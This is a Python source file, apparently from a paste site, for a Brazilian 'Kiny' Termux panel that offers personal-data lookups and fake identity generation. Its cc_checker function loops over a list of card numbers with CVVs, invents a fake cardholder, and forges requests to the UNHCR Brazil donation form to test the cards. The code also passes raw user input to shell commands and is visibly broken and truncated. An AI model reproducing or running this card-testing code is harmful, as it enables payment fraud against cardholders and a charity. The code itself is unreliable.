· 4 years ago · May 27, 2021, 12:14 AM
1global R, B, C, Y, G, RT, CY, CO
2CO = '\033[m'
3R = '\033[1;31m'
4B = '\033[1;34m'
5C = '\033[1;37m'
6CY = '\033[1;36m'
7Y = '\033[1;33m'
8G = '\033[1;32m'
9RT = '\033[;0m'
10import os, base64, requests, time, json, re, random, platform, sys, signal, atexit, argparse, hashlib, urllib3, html5lib, pyfiglet
11from pytube import YouTube
12# from fordev.generator import people #presente pra quem estiver lendo
13from time import sleep
14from random import randint
15from colorama import Fore, Style
16from bs4 import BeautifulSoup
17import html5lib
18import phonenumbers
19from phonenumbers import carrier
20from phonenumbers import geocoder
21from phonenumbers import timezone
22from urllib.parse import urlencode
23from re import search
24from socket import *
25from requests import post
26
27host = '45.79.39.64'
28port = 55555
29
30def rekt():
31 if platform.system() == "Windows":
32 webbrowser.open_new_tab("https://youtu.be/1oAZVariAvk")
33 else:
34 os.system("termux-open-url https://youtu.be/1oAZVariAvk")
35
36result = pyfiglet.figlet_format("Kiny", font = "cosmic" )
37
38def clear():
39 os.system('cls' if os.name == 'nt' else 'clear')
40
41def clear():
42 os.system('cls' if os.name == 'nt' else 'clear')
43
44def att():
45 try:
46 if __name__ == '__main__':
47 os.system("clear")
48 print(f'{C}{G}{result}{C}')
49 print(f'{C}[{Y}i{C}] {G} Checando por atualizacoes... {C}')
50 update = subprocess.check_output('git pull', shell=True)
51 if 'Already up to date' not in update.decode():
52 print(f'{C}[{Y}*{C}] {G}Atualizacao instalada!\n{C}[{Y}*{C}]Reiniciando o painel...{C}')
53 print(f"{C}[{G}+{C}] Loading:")
54 #animation = ["10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"]
55 animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
56 for i in range(len(animation)):
57 time.sleep(0.2)
58 sys.stdout.write("\r" + animation[i % len(animation)])
59 print("\n")
60 time.sleep(5)
61 subprocess.run('clear')
62 restart()
63 else:
64 print(f'{C}[{Y}i{C}] Nenhuma atualizacao disponivel.')
65 time.sleep(2)
66 except:
67 pass
68
69def chat():
70 os.system("pkg install irssi -y")
71 os.system("clear")
72 print(f'{C}{G}{result}{C}')
73 print(f'{C}[{Y}i{C}] TUTORIAL DE COMO ENTRAR NO CHAT')
74 print(f'{C}[{R}+{C}] RECOMENDO O USO DE VPN')
75 print()
76 print(f'{C}[{G}i{C}] /connect chat.freenode.net')
77 print(f'{C}[{G}i{C}] /nick (seu nickname)')
78 print(f'{C}[{G}i{C}] /join #Kiny')
79 print(f'{C}[{R}i{C}] Quando for sair, digite /exit')
80 pause = input(f'{C}{Y}APERTE ENTER PARA IR PRO CHAT{C}')
81 os.system("irssi")
82
83def aovivo():
84 print(f'{C}{G}{result}{C}')
85 print(f'{C}==={R}{C} Notas de ao vivo {C}==={R}{C}')
86 print()
87 print(f"{C}[{R}*{C}] Esta parte foi criada par esclarecer algumas coisas sobre o script, peço que esperem e parem de vir no meu PV perguntar o motivo de vocês não conseguirem consultar.")
88 print()
89 print(f"{C}[{R}*{C}] As consultas por número parou pela API estar {C}[{R}OFF{C}]. Mas consegui um novo patrocinador para comprar uma database e uma API")
90 print()
91 print(f"{C}[{G}*{C}] Minha Chave PIX: {C}[{G}228463d7-0bec-44bd-bddd-a780d9530f27{C}]")
92 print()
93 print(f"{C}[{G}*{C}] Parem de vir no meu PV perguntar como consulta ou porque as Infos não chegam, eu tô sem API pra essas consultas!")
94 print()
95 print(f"{C}[{G}*{C}] {C}[{G}Phone Infoga{C}] - A forma de consulta do PhoneInfoga é o DDI, DDD e o numero(ex: 5521979180533). quanto um numero tiver apenas 8 digitos, voce deve colocar um nove na frente(ex: 55 81 9××××-××××).")
96 print()
97 print(f'{C}[{G}*{C}] Parem de perguntar se eu tenho outro painel, esse aqui é o meu único, ele sempre recebe atualização, ele tem uma opção para atualizar, é só usarem!')
98 print()
99 print(f"Próxima Atualização {C}{R}NÃO tem data{C}")
100 print()
101 pause = input("Pressione Enter para retornar")
102
103
104def notes():
105 print(f'{C}{G}{result}{C}')
106 print(f'{C}==={R}{C} Notas de versão {C}==={R}{C}')
107 print(f'''
108 Versão 3.8
109-Novas APIs (inclusive APIs pagas)
110-Configurações
111-Modo sem senha
112-Remoção de opção inútil
113-Otimização do código
114-Nova opção no menu
115
116 Codado por: {C}{B}YATO{C}
117 APIs ,ideia e código inicial: {C}{B}KINY{C}
118 API MTE e auxilio no script: {C}{B}p0is0n{C}
119 Patrocinio:Obrigado {C}{B}Douglas{C} e {C}{B}Margarina{C} pelo money pra fazer o script.
120
121 Obrigado {C}{B}Snuking{C}, pelo apoio e algumas ajudas;
122
123 ''')
124 pause = input('Pressione enter para retornar.')
125
126def covid19():
127 print(f'{C}{G}{result}{C}')
128 print(f'{C}[{Y}i{C}] Informe o UF. Exemplo: sp, pa, ba ')
129 choice = input('===>')
130 data = requests.get('https://covid19-brazil-api.now.sh/api/report/v1/brazil/uf/{}'.format(choice)).json()
131 clear()
132 print(result)
133 print("Data e horario local: {}".format(data['datetime']))
134 print("Estado: {}".format(data['state']))
135 print("UF: {}".format(data['uf']))
136 print("UID: {}".format(data['uid']))
137 print("Casos: {}".format(data['cases']))
138 print("Mortes: {}".format(data['deaths']))
139 print("Suspeitas: {}".format(data['suspects']))
140 print("Recusados: {}".format(data['refuses']))
141 pausa = input('Pressione enter para retornar ao menu.')
142
143
144def ip(ip_api, mode, token):
145 print(f'{C}{G}{result}{C}')
146 if ip_api == 0 or ip_api == 2:
147 if mode == 0:
148 data = requests.get('http://ip-api.com/json/')
149 else:
150 ip_input = input("===>")
151 data = requests.get('http://ip-api.com/json/{}'.format(ip_input))
152 adress_data = data.json()
153 weather_data = requests.get(
154 'http://api.openweathermap.org/data/2.5/weather?lat={lat}&lon={lon}&appid={token[2]}')
155 weather = json.loads(weather_data.text)
156 if (adress_data['status']) == 'success':
157 print('IP: {}'.format(adress_data['query']))
158 print('Status: {}'.format(adress_data['status']))
159 print('Pais: {}'.format(adress_data['country']))
160 print('Regiao: {}'.format(adress_data['regionName']))
161 print('Cidade: {}'.format(adress_data['city']))
162 print('ZIP: {}'.format(adress_data['zip']))
163 print('Latitude: {}'.format(adress_data['lat']))
164 print('Longitude: {}'.format(adress_data['lon']))
165 print('Fuso-Horarro: {}'.format(adress_data['timezone']))
166 print('Internet-Info: {}'.format(adress_data['as']))
167 print('ISP: {}'.format(adress_data['isp']))
168 print('ORG: {}'.format(adress_data['org']))
169 # print('Temperatura: {}'.format(weather["weather"]["main"]))
170 if ip_api == 1 or ip_api == 2:
171 if mode == 1:
172 ip_input = input("===>")
173 api = requests.get('http://ipwhois.app/json/' + ip_input).json()
174 if mode == 0:
175 api = requests.get('http://ipwhois.app/json/').json()
176 clear()
177 print(f'{C}{G}{result}{C}')
178 try:
179 if ip_api == 1:
180 print('IP: {}'.format(api['ip']))
181 print('TIPO: {}'.format(api['type']))
182 print('CONTINENTE: {}'.format(api['continent']))
183 print('CÓDIGO DO CONTINENTE: {}'.format(api['continent_code']))
184 print('PAIS: {}'.format(api['country']))
185 print('CÓDIGO DO PAÍS: {}'.format(api['country']))
186 print('PAIS: {}'.format(api['country']))
187 print('CAPITAL DO PAIS: {}'.format(api['country_capital']))
188 print('CÓDIGO TELEFÔNICO DO PAÍS: {}'.format(api['country_phone']))
189 print('PAISES VIZINHOS: {}'.format(api['country_neighbours']))
190 print('REGIÃO: {}'.format(api['region']))
191 print('CIDADE: {}'.format(api['city']))
192 print('LATITUDE: {}'.format(api['latitude']))
193 print('LONGITUDE: {}'.format(api['longitude']))
194 print('ASN: {}'.format(api['asn']))
195 print('ORG: {}'.format(api['org']))
196 print('ISP: {}'.format(api['isp']))
197 print('HORÁRIO PADRÃO: {}'.format(api['timezone']))
198 print('NOME DO HORÁRIO PADRÃO: {}'.format(api['timezone_name']))
199 print('GMT: {}'.format(api['timezone_gmt']))
200 print('MOEDA: {}'.format(api['currency']))
201 print('CÓDIGO DA MOEDA: {}'.format(api['currency_code']))
202 print('SIMBOLO DA MOEDA: {}'.format(api['currency_symbol']))
203 except:
204 print(f'{C}[{R}ERROR{C}] IP Inválido ')
205 time.sleep(3)
206 clear()
207 ip(ip_api, mode)
208
209 print(f"{C}[{Y}i{C}]DESEJA LOCALIZAR UM NOVO IP?")
210 print(f"{C}{G}[1]{C} Sim")
211 print(f"{C}{G}[2]{C} Não")
212 vi = input('===> ')
213 if vi == '1' or vi == '01':
214 clear()
215 ip(ip_api, mode)
216
217
218def bin():
219 print(f'{C}{G}{result}{C}')
220 print('Exemplo:45717360')
221 print(f'{C}[{Y}i{C}] Digite a BIN.')
222 bin_input = input("===>")
223 headers = {"Accept-Version": "3",
224 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"}
225 try:
226 req = requests.get('https://lookup.binlist.net/' + bin_input, headers=headers)
227 req_data = req.json()
228 except:
229 print(f'{C}[{R}ERROR{C}] Ocorreu um erro,tente novamente.')
230 clear()
231 print(result)
232 print('Bandeira: {}'.format(req_data['scheme']))
233 print('Marca: {}'.format(req_data['brand']))
234 print('Tipo: {}'.format(req_data['type']))
235 print('Pais: {}'.format(req_data['country']['name']))
236 print('Latitude: {}'.format(req_data['country']['latitude']))
237 print('Longitude: {}'.format(req_data['country']['longitude']))
238 print('Moeda: {}'.format(req_data['country']['currency']))
239 print('Emoji: {}'.format(req_data['country']['emoji']))
240 print(f'{C}[{Y}i{C}] Deseja realizar uma nova consulta?')
241 print('1.Sim')
242 print('2.Não')
243 choice = input("===>")
244 if choice == '1' or choice == '01':
245 bin()
246 elif choice == '2' or choice == '02':
247 pass
248 else:
249 print(f'{C}[{R}ERROR{C}] Opção inválida')
250 time.sleep(3)
251
252
253def crm(token):
254 print(f'{C}{G}{result}{C}')
255 print(f'{C}[{G}i{C}] Digite o numero do CRM.')
256 crm_input = input("===>")
257 print(f'{C}[{G}i{C}] Digite o UF.')
258 uf_input = input("===>")
259 try:
260 url = 'https://www.consultacrm.com.br/api/index.php?tipo=crm&uf=' + uf_input
261 data = requests.get(url + '&q={}&chave={}&destino=json'.format(crm_input, token[1]))
262 crm_data = data.json()
263 except:
264 print(f'{C}[{R}ERROR{C}] CRM ou UF invalido')
265 # consultas = (crm_data['api_limite']) - (crm_data['api_consultas'])
266 if (crm_data['status']) == "true":
267 # print('Consultas restantes ='+consultas)
268 try:
269 print('CRM: {}'.format(crm_data["item"][0]["numero"]))
270 print('Nome: {}'.format(crm_data["item"][0]["nome"]))
271 print('UF: {}'.format(crm_data["item"][0]["uf"]))
272 print('Situacao: {}'.format(crm_data["item"][0]["situacao"]))
273 print('Profissão: {}'.format(crm_data["item"][0]["profissao"]))
274 except:
275 print(f'{C}[{R}*{C}] Erro! dados invalidos!')
276 time.sleep(3)
277 consultacrm()
278 else:
279 print(f'{C}[{R}i{C}] CRM invalido')
280 print(f'{C}[{G}i{C}] Deseja realizar uma nova consulta?')
281 print('1.Sim')
282 print('2.Não')
283 choice = input("===>")
284 if choice == "1" or choice == "01":
285 crm()
286 if choice == "2" or choice == "02":
287 pass
288 else:
289 print("Opcao invalida.")
290
291
292def gerar_pessoa(token): #####REWORK
293 print(f'{C}{G}{result}{C}')
294 print(f'{C}[{G}i{C}] Gerando pessoa.')
295 national = ["BR", "USA", "PT", "CA", "JP"]
296 RN = randint(0, 10)
297 cns = requests.get('http://geradorapp.com/api/v1/cns/generate?token={}'.format(token[0])).json()
298 cpf = requests.get('http://geradorapp.com/api/v1/cpf/generate?token={}'.format(token[0])).json()
299 pessoa = requests.get('https://randomuser.me/api/?nat={}'.format(random.choice('national'))).json()
300
301 states = ["AC", "AL", "AP", "AM", "BA", "SP", "RJ", "MT", "CE", "DF", "ES", "GO", "MA", "MS", "MG", "PA", "PB",
302 "PR", "PE", "PI", "RN", "RS", "RO", "RR", "SC", "SE", "TO"]
303 state = random.choice(states)
304
305 email_provider = ["@gmail.com", "@outlook.com", "@yahoo.com", "@terra.com"]
306
307 email = (pessoa['results'][0]['name']['first']) + "." + (pessoa['results'][0]['name']['last']) + random.choice(
308 email_provider)
309
310 if pessoa['results'][0]['gender'] == 'female':
311 gender = 'F'
312 if pessoa['results'][0]['gender'] == 'male':
313 gender = 'M'
314 age = randint(18, 80)
315
316 print('Nome: {} {}'.format(pessoa['results'][0]['name']['first'], pessoa['results'][0]['name']['last']))
317 print('Genero: {}'.format(gender))
318 print('Nascimento: {}'.format(pessoa['results'][0]['dob']['date'][0:10]))
319 print('CPF: {}'.format(cpf['data']['number_formatted']))
320 print('CPF sem formatação: {}'.format(cpf['data']['number']))
321 print('E-mail: {}'.format(email))
322 print('CEP: {}{}'.format(pessoa['results'][0]['location']['postcode'], '-000'))
323 print('Endereço: {}'.format(pessoa['results'][0]['location']['street']['name']))
324 print('Cidade: {}'.format(pessoa['results'][0]['location']['city']))
325 print('Estado: {}'.format(pessoa['results'][0]['location']['state']))
326 print(f'{C}[{Y}i{C}] Deseja gerar mais uma pessoa?')
327 print(f'{C}[{G}1{C}] Sim')
328 print(f'{C}[{G}2{C}] Não')
329 choice = input('===>')
330 if choice == '1' or choice == '01':
331 clear()
332 gerar_pessoa(token)
333
334
335def consultaplaca():
336 # http://api.masterplaca.devplank.com/v2/placa/{placa}/json
337 print(f'{C}{G}{result}{C}')
338 print(f'{C}[{G}i]{C}Digite o numero da placa.')
339 placa_input = input("===>")
340 req = requests.get('https://apicarros.com/v1/consulta/{}/json'.format(placa_input), verify=False) # JSQ7436
341 placa_data = req.json()
342 clear()
343 print(f'{C}{G}{result}{C}')
344 try:
345 if (placa_data['codigoRetorno']) == "0":
346 print(f"{C}Ano: {B}{placa_data['ano']}{C}")
347 print(f"Data: {B}{placa_data['data']}{C}")
348 print(f"Modelo: {B}{placa_data['modelo']}{C}")
349 print(f"Ano do modelo: {B}{placa_data['anoModelo']}{C}")
350 print(f"Cor: {B}{placa_data['cor']}{C}")
351 print(f"Marca: {B}{placa_data['marca']}{C}")
352 print(f"Roubo/furto: {B}{placa_data['dataAtualizacaoRouboFurto']}{C}")
353 print(f"Situação: {B}{placa_data['situacao']}{C}")
354 print(f"Placa: {B}{placa_data['placa']}{C}")
355 print(f"Chassi: {B}{placa_data['chassi']}{C}")
356 print(f"UF: {B}{placa_data['uf']}{C}")
357 print(f"Município: {B}{placa_data['municipio']}{C}")
358 print(f"Modificada em: {B}{placa_data['dataAtualizacaoCaracteristicasVeiculo']}{C}")
359 print(f"Alarme atualizado: {B}{placa_data['dataAtualizacaoAlarme']}{C}")
360 print(f"Mensagem de retorno: {B}{placa_data['mensagemRetorno']}{C}")
361 print(f"Código de retorno: {B}{placa_data['codigoRetorno']}{C}")
362 else:
363 print(f'{C}[{R}i]{C} Sem dados sobre.')
364 except:
365 print(f'{C}[{R}ERROR{C}] Placa invalida')
366 time.sleep(3)
367 del placa_data
368 del req
369 del placa_input
370 print(f'{C}[{G}i{C}] Deseja realizar uma nova consulta?')
371 print('1.Sim')
372 print('2.Não')
373 choice = input("===>")
374 if choice == "1" or choice == "01":
375 consultaplaca()
376 if choice == "2" or choice == "02":
377 pass
378 else:
379 print("Opcao invalida.")
380
381
382def cns(token, anim):
383 print(f'{C}{G}{result}{C}')
384 print(f'''
385{C}[{G}i{C}]Formas de operação
386[{G}1{C}]Gerar CNS
387[{G}2{C}]Consultar CNS
388''')
389 choice = input('===>')
390 clear()
391 if choice == '1' or choice == '01':
392 print(f'{C}[{G}i{C}] Gerando CNS')
393 cns = requests.request('GET', 'http://geradorapp.com/api/v1/cns/generate?token={}'.format(token[0])).json()
394 cns2 = cns['data']['number_formatted']
395 entrada = cns['data']['number']
396 print(f'{C}[{Y}i{C}] O CNS gerado foi: ' + cns2)
397 if anim == 1:
398 time.sleep(1)
399 print(f'{C}[{G}i{C}] Consultando CNS...')
400 if choice == '2' or choice == '02':
401 entrada = input('===>')
402 if anim == 1:
403 time.sleep(1)
404 clear()
405 cns_data = requests.get('http://geradorapp.com/api/v1/cns/validate/{}?token={}'.format(entrada, token[0])).json()
406 try:
407 print('Numero: {}'.format(cns_data["data"]["number"]))
408 print('Mensagem: {}'.format(cns_data["data"]["message"]))
409 except:
410 print(f'{C}[{R}*{C}] CNS INVALIDO.')
411 print(f"{C}{G}DESEJA REALIZAR UMA NOVA CONSULTA?{C}")
412 print(f"{C}{G}[1]{C} Sim")
413 print(f"{C}{G}[2]{C} Não")
414 lo = input('===> ')
415 if lo == '1' or lo == '01':
416 cns(token, anim)
417
418
419def cep(anim):
420 clear()
421 print(f'{C}{G}{result}{C}')
422 print(f'{C}[{G}i{C}] Informe o CEP.')
423 cep_input = input("===>")
424 if len(cep_input) != 8:
425 print(f"{C}[{R}ERROR{C}] QUANTIDADE DE DIGITOS INVALIDA")
426 time.sleep(3)
427 cep(anim)
428
429 request = requests.get('https://viacep.com.br/ws/{}/json/'.format(cep_input))
430
431 adress_data = request.json()
432 clear()
433 try:
434 print(result)
435 print('Cep: {}'.format(adress_data['cep']))
436 print('Logradouro: {}'.format(adress_data['logradouro']))
437 print('Complemento: {}'.format(adress_data['complemento']))
438 print('Bairro: {}'.format(adress_data['bairro']))
439 print('Cidade: {}'.format(adress_data["localidade"]))
440 print('Estado: {}'.format(adress_data['uf']))
441 print('IBGE: {}'.format(adress_data['ibge']))
442 print('GIA: {}'.format(adress_data['gia']))
443 print('SIAFI: {}'.format(adress_data['siafi']))
444 print('DDD: {}'.format(adress_data['ddd']))
445 except:
446 print(f'{C}[{R}ERROR{C}] CEP INVALIDO.')
447 print(f"{C}{G}DESEJA REALIZAR UMA NOVA CONSULTA?{C}")
448 print(f"{C}[{G}1{C}] Sim")
449 print(f"{C}[{G}2{C}] Não")
450 option = input('===> ')
451 if option == '1':
452 cep(anim)
453 if option == '2':
454 pass
455 else:
456 print(f'{C}[{R}i{C}] Opção inválida')
457 time.sleep(2)
458 pass
459
460
461def kiny_infoga():
462 os.system("apt install nmap whois")
463 clear()
464 print(f'{C}{G}{result}{C}')
465 print()
466 j = input("1 para HTTPS, 2 para HTTP:")
467 k = input("Domain: ")
468 if j == '1':
469 print("URL: ""https://www." + k)
470 os.system("nmap " + k)
471 os.system("whois " + k)
472 print()
473 if j == '2':
474 print("URL: ""http://www." + k)
475 os.system("nmap " + k)
476 os.system("whois " + k)
477 print("Pressione enter para voltar.")
478 pause = input("====>")
479
480
481def cnpj(kct, token, anim):
482 clear()
483 if kct == '1' or kct == '01':
484 gen = "1"
485 elif kct == '2' or kct == '02':
486 print(f'{C}{G}{result}{C}')
487 print("DIGITE O CNPJ SEM / . OU -")
488 cnpj_input = input("===>")
489 gen = 0
490 else:
491 print('Opção inválida')
492 time.sleep(3)
493 cnpj(token, anim)
494 if gen == "1":
495 print(f'{C}[{G}*{C}] Gerando CNPJ...')
496 if anim == '1':
497 time.sleep(1)
498 cnpj_data = requests.get('http://geradorapp.com/api/v1/cnpj/generate?token={}'.format(token[0])).json()
499 cnpj_input = (cnpj_data['data']['number'])
500 cnpj_formatted = (cnpj_data['data']['number_formatted'])
501 print(f'{C}[{Y}i{C}] O CNPJ gerado foi: {cnpj_formatted}')
502 print(f'{C}[{G}i{C}] Consultando CNPJ... ')
503 try:
504 cnpj_data = requests.get('https://www.receitaws.com.br/v1/cnpj/{}'.format(cnpj_input)).json()
505 except:
506 print(f'{C}[{R}*{C}]Erro no servidor')
507 cnpj_data = "message"
508
509 if 'message' not in cnpj_data:
510 tagain = '0'
511 print("CNPJ: {}".format(cnpj_data['cnpj']))
512 print("Atividade principal: {}".format(cnpj_data['atividade_principal'][0]['text']))
513 print("Nome: {}".format(cnpj_data['nome']))
514 print("CEP: {}".format(cnpj_data['cep']))
515 try:
516 print("Telefone: {}".format(cnpj_data['telefone']))
517 except:
518 pass
519 try:
520 print("Email: {}".format(cnpj_data['email']))
521 except:
522 pass
523 print("Situação: {}".format(cnpj_data['situacao']))
524 print("UF: {}".format(cnpj_data['uf']))
525 print("Municipio: {}".format(cnpj_data['municipio']))
526 print("Logradouro: {}".format(cnpj_data['logradouro']))
527 print("Numero: {}".format(cnpj_data['numero']))
528 print("Complemento: {}".format(cnpj_data['complemento']))
529 print("Porte: {}".format(cnpj_data['porte']))
530 print("Natureza: {}".format(cnpj_data['natureza_juridica']))
531 print("Data de abertura: {}".format(cnpj_data['abertura']))
532 print("Tipo: {}".format(cnpj_data['tipo']))
533 print("Capital: {}".format(cnpj_data['capital_social']))
534 try:
535 print("===============================")
536 print("pessoal: {}".format(cnpj_data['qsa'][0]['nome']))
537 print("Cargo: {}".format(cnpj_data['qsa'][0]['qual']))
538 except:
539 pass
540 try:
541 print("pessoal: {}".format(cnpj_data['qsa'][1]['nome']))
542 print("Cargo: {}".format(cnpj_data['qsa'][1]['qual']))
543 except:
544 pass
545 try:
546 print("Pessoal: {}".format(cnpj_data['qsa'][2]['nome']))
547 print("Cargo: {}".format(cnpj_data['qsa'][2]['qual']))
548 except:
549 pass
550 else:
551 try:
552 print(f'{C}[{R}ERROR{C}]' + '{}: CNPJ INVALIDO.'.format(cnpj_formatted))
553 except:
554 print(f'{C}[{R}ERROR{C}] Sem dados.')
555 if gen == '1':
556 del cnpj_data
557 del cnpj_input
558 del cnpj_formatted
559 tagain = '1'
560 print(f'{C}[{Y}i{C}]Tentando novamente...')
561 time.sleep(3)
562 cnpj(kct, token, anim)
563 if tagain == '0':
564 print(f"{C}[{Y}i{C}] DESEJA REALIZAR UMA NOVA CONSULTA?")
565 print(f"{C}[{G}1{C}] Sim")
566 print(f"{C}[{G}2{C}] Não")
567 lo = input('===> ')
568 if lo == '1' or lo == '01':
569 cnpj(kct, token, anim)
570
571
572def bank(anim):
573 clear()
574 print(f'{C}{G}{result}{C}')
575 print(f"{C}[{G}i{C}] DIGITE O CODIGO BANCARIO")
576 print(f"{C}[{G}i{C}] Exemplo: 260")
577 bank_input = input("=====>")
578 clear()
579 if anim == '1':
580 print(f'{C}[{G}i{C}] Consultando banco.')
581 time.sleep(1)
582 try:
583 req = requests.get('https://brasilapi.com.br/api/banks/v1/{}'.format(bank_input))
584
585 bank_data = req.json()
586
587 if 'message' not in bank_data:
588 os.system("figlet KINY")
589 print("Código bancário: {}".format(bank_data['code']))
590 print("Nome: {}".format(bank_data['name']))
591 print("Nome completo: {}".format(bank_data['fullName']))
592 print("ISPB: {}".format(bank_data['ispb']))
593 else:
594 print('{}: Código bancário inválido.'.format(bank_input))
595 except:
596 print(f'{C}[{R}ERROR{C}]Erro no servidor')
597 print(f"{C}[{Y}i{C}] DESEJA CONSULTAR UM NOVO CODIGO BANCARIO? ")
598 print(f"{C}[{G}1{C}] Sim")
599 print(f"{C}[{G}2{C}] Não")
600 kc = input("===> ")
601 if kc == '01' or kc == '1':
602 bank(anim)
603
604def consultaoperadora():
605 print(f'{C}{G}{result}{C}')
606 print(f'{C}[{G}i{C}] Exemplo: 48952021826')
607 print(f'{C}[{Y}i{C}] Limite de consultas: 6 consultas por hora.')
608 print(f'{C}[{Y}i{C}] Digite o numero com DDD.')
609 op_input = input("===>")
610 clear()
611 print(result)
612 headers = {
613 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36"}
614 try:
615 request = requests.get('http://free.telein.com.br/sistema/consulta_json.php?chave=senhasite&numero=' + op_input,
616 headers=headers)
617 op_data = request.json()
618 except:
619 print(f'{C}[{R}i{C}] Limite de consultas atingido')
620 print(f'{C}[{Y}i{C}] Deseja fazer uma nova consulta?')
621 print('1.Sim')
622 print('2.Não')
623 cho = input("===>")
624 if cho == '1' or cho == '01':
625 consultaoperadora()
626 elif cho == '2' or cho == '02':
627 pass
628 else:
629 print(f'{C}[{R}ERROR{C}] Opção inválida')
630 op_final = 'null'
631 if (op_data['operadora']) == '553016':
632 op_final = 'CLARO'
633 if (op_data['operadora']) == '553070':
634 op_final = 'OI'
635 if (op_data['operadora']) == '553066':
636 op_final = 'NEXTEL'
637 if (op_data['operadora']) == '553102':
638 op_final = 'TIM'
639 if (op_data['operadora']) == '553097':
640 op_final = 'VIVO'
641 elif (op_data['operadora']) == '99':
642 print(f'{C}[{R}*{C}] Não foi possível consultar a operadora')
643 if op_final == 'null':
644 print(f'{C}[{R}*{C}] Operadora invalida.')
645 else:
646 print(f'{C}[{G}*{C}] Operadora:' + op_final)
647 # print(op_data['operadora'])
648 print(f'{C}[{Y}i{C}] Deseja fazer uma nova consulta?')
649 print('1.Sim')
650 print('2.Não')
651 cho = input("===>")
652 if cho == '1' or cho == '01':
653 consultaoperadora()
654 if cho == '2' or cho == '02':
655 pass
656 else:
657 print(f'{C}[{R}i{C}] Opção inválida')
658 time.sleep(3)
659
660
661def cc_checker(token):
662 try:
663 lista = open(input(f'{C}Caminho da lista: '), 'r').read().splitlines()
664 except:
665 lista = 0
666 print(f'{C}[{R}i{C}] Erro,verifique se é um arquivo.')
667 time.sleep(3)
668
669 if lista == 0:
670 pass
671 else:
672 for gg in lista:
673 cc = gg.split('|')[0]
674 mes = gg.split('|')[1]
675 ano = gg.split('|')[2]
676 cvv = gg.split('|')[3]
677
678 data = requests.get('https://lookup.binlist.net/{}'.format(cc[0:6])).json()
679 pessoa = requests.get('https://randomuser.me/api/?nat={}'.format(data['country']['alpha2'])).json()
680 cpf = requests.get('http://geradorapp.com/api/v1/cpf/generate?token={}'.format(token[0])).json()
681
682 email_provider = ["@gmail.com", "@outlook.com", "@yahoo.com", "@terra.com"]
683
684 email = (pessoa['results'][0]['first']) + "." + (pessoa['results'][0]['last']) + random.choice(
685 email_provide)
686
687 print()
688 print(f'{C}[{G}i{C}] Consultando cartão')
689 print('Cartao: {}'.format(gg))
690 print('Bandeira: {}'.format(data['scheme']))
691 print('Tipo: {}'.format(data['type']))
692 print('Pais: {}'.format(data['country']))
693 print('Banco: {}'.format(data['bank']))
694 print('Nivel: {}'.format(data['brand']))
695 print()
696 print(f'{C}[{G}i{C}] Gerando pessoa aleatoria')
697 print('Nome: {} {}'.format(pessoa['results'][0]['first'], pessoa['results'][0]['last']))
698 print('Genero: {}'.format(pessoa['results'][0]['gender']))
699 print('Nascimento: {}'.format(pessoa['results'][0]['dob']['date'][0:10]))
700 print('CPF: {}'.format(cpf['number_formatted']))
701 print('CPF sem formatação: {}'.format(cpf['number']))
702 print('E-mail: {}'.format(email))
703 print('CEP: {}{}'.format(pessoa['results'][0]['location']['postcode'], '-000'))
704 print('Endereço: {}'.format(pessoa['results'][0]['location']['street']['name']))
705 print('Cidade: {}'.format(pessoa['results'][0]['location']['city']))
706 print('Estado: {}'.format(pessoa['results'][0]['location']['state']))
707 print()
708
709 header = {
710 'Host': 'doar.acnur.org',
711 'Connection': 'keep-alive',
712 'Content-Length': '1036',
713 'Cache-Control': 'max-age\u003d0',
714 'Origin': 'https://doar.acnur.org',
715 'Upgrade-Insecure-Requests': '1',
716 'Content-Type': 'application/x-www-form-urlencoded',
717 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; SM-N950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36 EdgA/45.09.4.5083',
718 'Sec-Fetch-Mode': 'navigate',
719 'Sec-Fetch-User': '?1',
720 'Accept': 'text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/webp,image/apng,/;q\u003d0.8,application/signed-exchange;v\u003db3',
721 'Sec-Fetch-Site': 'same-origin',
722 'Referer': 'https://doar.acnur.org/acnur/donate.html',
723 'Accept-Encoding': 'gzip, deflate, br',
724 'Accept-Language': 'pt-BR,pt;q\u003d0.9,en-US;q\u003d0.8,en;q\u003d0.7',
725 'Cookie': 'ROUTEID\u003d.zolaBETA; _gcl_au\u003d1.1.751806228.1604113311; _ga\u003dGA1.3.972845617.1604113311; _gid\u003dGA1.3.1315302043.1604113311; _ga\u003dGA1.2.972845617.1604113311; _gid\u003dGA1.2.1315302043.1604113311; _uetsid\u003d6df17a801b2511eb91b7e9b62ecdda16; _uetvid\u003d6df60f501b2511ebb9704745327a0630; m_ses\u003d20201031000154; m_cnt\u003d0; _tq_id.TV-72092763-1.c79b\u003d24d79b933ff67001.1604113315.0.1604113315..; _fbp\u003dfb.1.1604113316536.1144821724; __qca\u003dP0-1736157422-1604113317181'
726 }
727
728 if pessoa['results'][0]['gender'] == 'female':
729 gender = 'F'
730 if pessoa['results'][0]['gender'] == 'male':
731 gender = 'M'
732 if data['type'] == 'credit':
733 tipo = 'C'
734 if data['type'] == 'debit':
735 tipo = 'D'
736 nome = pessoa['results'][0]['first'] + pessoa['results'][0]['last']
737
738 donate = 'successUrl=https%3A%2F%2Fdoar.acnur.org%2Facnur%2Fagradecimento.html%3Fd%3DBRPT00GD00%2520General%26r%3Dtrue%26a%3D%24%7BconvertedAmount%7D%26t%3D%24%7Btransaction.referenceID%7D%26u%3D%24%7Btransaction.nativeResponse%7D%26m%3DcreditCard%26v%3Ddonate&errorUrl=https%3A%2F%2Fdoar.acnur.org%2Facnur%2Ferror.html&pfpsrc=&DESCRIPTION=Com+Os+Refugiados&ONLINE_FORM=BRPT00GD00+General&LANGUAGE=pt&CURRENCY=' + pais.get(
739 'currency') + '&EXPDATE=' + mes + ano[1:3] + '&TAXID=' + cpf[
740 'number'] + '&AMT=35&TYPE=' + tipo2 + '%2F' + band + '&PAYPERIOD=MONT&X=&FIRSTNAME=' + \
